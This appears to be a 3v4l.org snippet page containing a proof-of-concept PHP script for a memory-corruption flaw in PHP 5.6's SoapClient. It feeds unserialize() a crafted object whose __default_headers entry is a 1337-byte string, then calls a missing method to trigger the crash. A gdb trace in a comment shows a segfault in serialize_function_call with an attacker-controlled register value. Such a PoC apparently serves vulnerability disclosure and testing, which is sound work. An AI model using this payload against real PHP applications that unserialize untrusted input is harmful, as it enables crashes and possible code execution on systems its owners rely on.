3v4l.org

run code in 300+ PHP versions simultaneously
<?php /* (gdb) r poc2.php Starting program: /usr/bin/php /home/poc2.php [Thread debugging using libthread_db enabled] Program received signal SIGSEGV, Segmentation fault. 0x00000000007dac54 in serialize_function_call (this_ptr=0x7ffff7fb7868, function=0x0, function_name=0x7ffff7fba708 "notexisting", uri=0x7ffff7fba9b0 "X", arguments=0x0, arg_count=0, version=1, soap_headers=0x7ffff0b72370) at /home/php-5.6.11/ext/soap/soap.c:4351 4351 HashTable *ht = Z_OBJPROP_PP(header); (gdb) x/i $pc => 0x7dac54 <serialize_function_call+2145>: mov 0x70(%rax),%rax (gdb) p $rax $4 = 1337 */ $dummy = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"X";s:8:"location";s:22:"http://localhost/a.xml";s:17:"__default_headers";a:1:{i:1;s:1337:"'.str_repeat("X", 1337).'";}}'); var_dump($dummy->notexisting()); ?>

preferences:
44.39 ms | 402 KiB | 5 Q